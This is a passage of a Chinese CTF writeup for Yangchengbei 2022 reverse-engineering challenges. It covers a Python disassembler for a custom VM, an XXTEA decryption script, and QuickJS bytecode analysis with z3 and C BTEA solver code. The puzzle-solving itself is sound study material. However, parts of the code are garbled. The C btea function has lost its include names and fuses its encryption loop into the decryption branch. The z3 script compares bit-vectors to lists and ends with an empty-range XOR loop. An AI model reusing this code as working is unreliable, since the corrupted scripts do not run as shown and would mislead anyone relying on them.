  0xF8, 0xF7, 0xF6, 0xF5, 0xF4, 0x0B, 0x00, 0xE1, 0xFF, 0xE0,
  0x0B, 0x0A, 0xFB, 0xF4, 0x0B, 0x00, 0xE2, 0xFF, 0x01, 0x00,
  0x01, 0xF5, 0xF2, 0x00, 0x09, 0x02, 0x01, 0xB2, 0xF1, 0x01,
  0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05, 0xFF, 0x01, 0x09, 0x02,
  0xF8, 0xF4, 0x0A, 0x00, 0xE1, 0xF1, 0xE0, 0x0B, 0x05, 0xFF,
  0xE0, 0x0B, 0x00, 0xF6, 0xFF, 0x01, 0x0B, 0x01, 0xF6, 0xF4,
  0x0C, 0x0B, 0xE1, 0xF4, 0x0C, 0x00, 0xE2, 0xF4, 0x0A, 0x0B,
  0xE2, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x09, 0x02,
  0x01, 0xD7]


r = [0]*17
mem = [0x123,0x234,0x345,0x456]
# print(r)

while True:
    v4 = r[16]
    r[16] = v4+1
    result = opcode[v4]-0xF1
    if result == 0:
        v1 = r[16]
        v2 = opcode[v1]
        v3 = opcode[v1+1]
        print(str(v1)+':\t',end='')
        if v2==0xe0:
            r[16] = v1+3
            v4 = r[opcode[v1+2]]
            print(f'r[{v3}] = r[{opcode[v1+2]}]')
        else:
            v4 = 0
            while(v2<<24):
                r[16] = v1+3
                v2 -= 1
                v4 = opcode[v1+2] | (v4<<8)
                v1 += 1
            print(f'r[{v3}] = {hex(v4)}')
        r[v3] = v4
    elif result == 1:
        v1 = r[16]
        tmp = v1
        v2 = opcode[v1]
        v3 = opcode[v1+1]
        v4 = opcode[v1+2]
        print(str(v1)+':\t',end='')
        if r[v2] == r[v3]:
            v5 = v1+3+v4
            print(f'jmp {v5}')
            if v5==512:
                for i in range(4):
                    print(hex(mem[i]))
        else:
            v5 = 0
            while v4:
                r[16] = v1+4
                v4 -= 1
                v5 = opcode[v1+3] | (v5<<8)
                v1 += 1
            print(f'if r[{v2}] != r[{v3}]: jmp {v5}')
        r[16] = v5
    elif result == 2:
        v1 = r[16]
        v2 = opcode[v1]
        v3 = opcode[v1+1]
        v4 = r[v3]
        v5 = v1+4*v4
        v6 = 0
        for i in range(-4,0,1):
            r[16] = v5+3
            v6 = opcode[v5+2] | v6<<8
            v5 += 1
        # v6 = opcode[v5+2]<<24 | opcode[v5+3]<<16 | opcode[v5+4]<<8 | opcode[v5+5]
        r[16] = v5 - 4*r[v3]+14
        r[v2] = v6
        print(str(v1)+':\t'+f'r[{v2}] = {hex(v6)}   opcode[v1+4*r[opcode[v1+1]]+2]<<24 | opcode[v1+4*r[opcode[v1+1]]+3]<<16 | opcode[v1+4*r[opcode[v1+1]]+4]<<8 | opcode[v1+4*r[opcode[v1+1]]+5]')
    elif result == 3:
        v2 = r[16]
        v3 = opcode[v2]
        v4 = opcode[v2+1]
        v5 = r[v4]
        r[16] = v2+3
        if opcode[v2+2]==0xe2:
            mem[v5] = r[v3]
            print(str(v2)+':\t'+f'mem[{v5}] = r[{v3}]')
        else:
            r[v3] = mem[v5]
            print(str(v2)+':\t'+f'r[{v3}] = mem[{v5}]')
    elif result == 13:
        print(str(r[16])+':\treturn')
    elif result == 14:
        v1 = r[16]
        v3 = v1+2
        v4 = opcode[v1]
        v5 = opcode[v1+1]
        if v4 == 0xe0:
            v6 = v1+3
            r[16] = v1+3
            v7 = r[opcode[v1+2]]
            s = f'r[{opcode[v1+2]}]'
        else:
            v7 = 0
            while(v4<<24):
                r[16] = v3+1
                v4 -= 1
                v7 = opcode[v3] | (v7<<8)
                v3 += 1
            s = hex(v7)
            v6 = v3
        r[16] = v6+1
        res = opcode[v6]-0xff-1
        if res == -11:
            r[v5] = (r[v5] +v7)&0xffffffff
            print(str(v1)+':\t'+f'r[{v5}] += '+s)
        elif res == -10:
            r[v5] = (r[v5] - v7) &0xffffffff
            print(str(v1)+':\t'+f'r[{v5}] -= '+s)
        elif res == -9:
            r[v5] *= v7
            print(str(v1)+':\t'+f'r[{v5}] *= '+s)
        elif res == -8:
            r[v5] //= v7
            print(str(v1)+':\t'+f'r[{v5}] //= '+s)
        elif res == -7:
            r[v5] <<= v7
            print(str(v1)+':\t'+f'r[{v5}] <<= '+s)
        elif res == -6:
            r[v5] >>= v7
            print(str(v1)+':\t'+f'r[{v5}] >>= '+s)
        elif res == -5:
            r[v5] ^= v7
            print(str(v1)+':\t'+f'r[{v5}] ^= '+s)
        elif res == -4:
            r[v5] |= v7
            print(str(v1)+':\t'+f'r[{v5}] |= '+s)
        elif res == -3:
            r[v5] &= v7
            print(str(v1)+':\t'+f'r[{v5}] &= '+s)
        else:
            print(str(v1)+':\t'+'wrong2')
    else:
        print(str(r[16])+':\t'+'wrong')

(其中mem即为输入,手动代了几个数字方便调试)

按照流程,打印出7000+行代码,大致观察发现有明显的xxtea的特征,delta=0xf4f3f2f1,循环64轮,key=[0xf1f2f3f4,0xf5f6f7f8,0xf9fafbfc,0xfdfefff0]

羊城杯2022--Writeup_第25张图片

 

解密无果,猜测有魔改,结果在开头和结尾又发现了一些加密。

开头将输入调换位置

羊城杯2022--Writeup_第26张图片

 

结尾异或0xf8f7f6f5并调换位置

羊城杯2022--Writeup_第27张图片

 

解密脚本

a = [0x55D37604, 0xB5FFA19E, 0xC202F734, 0x963BE91F]
for i in range(4):
    a[i] ^= 0xf8f7f6f5
t = a[3]
a[3] = a[0]
a[0] = t
t = a[1]
a[1] = a[2]
a[2] = t
a2 = [0xf1f2f3f4,0xf5f6f7f8,0xf9fafbfc,0xfdfefff0]
v5 = 0xf4f3f2f1
# n = 52//len(a) + 6
v8 = v5*64
v9 = a[len(a)-1]
for i in range(64):
    j = len(a)-2
    v9 = a[j]
    v6 = (v8>>2) & 3
    a[len(a)-1] = (a[len(a)-1] - (((v9 ^ a2[v6 ^ ((j+1) & 3)]) + (a[0] ^ v8)) ^ (((16 * v9) ^ (a[0] >> 3)) + ((4 * a[0]) ^ (v9 >> 5))))) & 0xffffffff
    while(j>0):
        v9 = a[j-1]
        a[j] = (a[j] - (((v9 ^ a2[v6 ^ (j & 3)]) + (a[j+1] ^ v8)) ^ (((16 * v9) ^ (a[j+1] >> 3)) + ((4 * a[j+1]) ^ (v9 >> 5))))) & 0xffffffff
        j -= 1
    v9 = a[len(a)-1]
    a[0] = (a[0] - (((v9 ^ a2[v6 ^ (j & 3)]) + (a[j+1] ^ v8)) ^ (((16 * v9) ^ (a[j+1] >> 3)) + ((4 * a[j+1]) ^ (v9 >> 5))))) & 0xffffffff
    v8 -= v5

for i in [3,0,1,2]:                               print(chr(a[i]>>24&0xff),chr(a[i]>>16&0xff),chr(a[i]>>8&0xff),chr(a[i]&0xff),end='',sep='')
# 1t_i5_3z_i5nt_it

easyjs

quickjs,下载源码编译输出字节码,具体参考[推荐]看雪·安恒 2020 KCTF 春季赛 | 第三题设计思路及解析-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com

字节码中首先观察到了初始化一些常量函数以及字符串

可以很明显的看到一个大小写互换的base64表

羊城杯2022--Writeup_第28张图片

 

得到字节码开始分析eval函数,这个相当于正常的main函数

羊城杯2022--Writeup_第29张图片

 

这里的意思应该是encode64(enc1())的意思,所以先调用enc1,然后再调用encode64

enc1里面就是一个BTEA delta mx key都很容易知道,上网上扒一个代码实现就行了

后面是一个错位异或,

羊城杯2022--Writeup_第30张图片

 

最后调用了func5 func6函数 func5函数是一个转大整数的方法,

羊城杯2022--Writeup_第31张图片

 

func6里面主要是一堆的逻辑运算,然后与已知量比较,

羊城杯2022--Writeup_第32张图片

 

将data3 15个数字分为三组,然后进行比较,拿z3解一下

总结一下就是先逆出来逻辑运算、然后是异或、base64、BTEA写脚本解就行了

from base64 import b64decode, b64encode
from z3 import *

data3 = [5911837666743816200,
5133585975960501272,
9082418069800623372,
9154480062992383756,
6848599583376686600,
147787617043219975,
6140429622497212985,
2526269866358605591,
4552892036882908959,
4543304157965338119,
4620825451554930944,
8808899373961281307,
5924901230665995531,
8808899373961281307,
8662527953563041043]

data4 = [2101524238053948931,
9154814254531429383,
8941618984500083987]

data = []

for i in range(3):
    data5 = [BitVec("x%d" % i, 64) for i in range(4)]
    x = data5[0]
    y = data5[1]
    z = data5[2]
    w = data5[3]
    a = ~x & z
    b = (z & ~x | (x&y) | (z & (~y)) | (x & (~y)) ) ^ w
    c = (z & ~y & x)| (z & ((x & y) | (y & (~x)) | ~(y | x)))
    d = (z & ~x) | (x & y) | (z & ~y) | (x & ~y)
    e = (z & ~x) | (x&y) | (y&z)
    s = Solver()
    s.add(a == data3[i*5:i*5+5])
    s.add(b == data3[i*5:i*5+5])
    s.add(c == data3[i*5:i*5+5])
    s.add(d == data3[i*5:i*5+5])
    s.add(e == data3[i*5:i*5+5])
    s.add(y == data3[i*5:i*5+5])
    s.check()
    m = s.model()
    res = []
    for i in data5:
        res.append(int(str(m[i])))
    #print(res)
    
    aa = []
    for r in res:
        k = []
        for i in range(8):
            k.append(r & 0xff)
            r >>= 8
        aa += k
    data += aa


n = len(data)

data[-1] = data[-1]^data[1]
data[-2] = data[-2]^data[0]
for i in range(n-3, -1)[::-1]:
    data[i] ^= data[i+2]

print(bytes(data))
#include 
#include 
 
using namespace std;
 
#include 
#define DELTA 289739796
#define MX (((z >> 6) ^ (y << 3)) + ((y >> 4) ^ (z << 5)) ^ ((sum^y) + (secret[(p&3)^e] ^ z)))  
 
  void btea(uint32_t *vector, int n, uint32_t const secret[4]) {
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1) {          
      rounds = 6 + 52/n;
      sum = 0;
      z = vector[n-1];
      do {
        sum += DELTA;
        e = (sum >> 2) & 3;
        for (p=0; p> 2) & 3;
        for (p=n-1; p>0; p--) {
          z = vector[p-1];
          y = vector[p] -= MX;
        }
        z = vector[n-1];
        y = vector[0] -= MX;
      } while ((sum -= DELTA) != 0);
    }
  }
 
int main()
{
    char secret[17] = "welcometoycb2022";
    uint8_t buf[] = {50, 145, 242, 166, 198, 128, 32, 9, 222, 204, 87, 158, 160, 147, 155, 82, 71, 9, 38, 246, 0, 88, 185, 225, 62, 226, 31, 171, 199, 245, 106, 31};
    btea((uint32_t*)buf,-8,(uint32_t*)secret);
    for(int j=0;j<32;j++)
        printf("%c",buf[j]);
    return 0;
}

你可能感兴趣的:(CTF-Writeup,python,网络安全)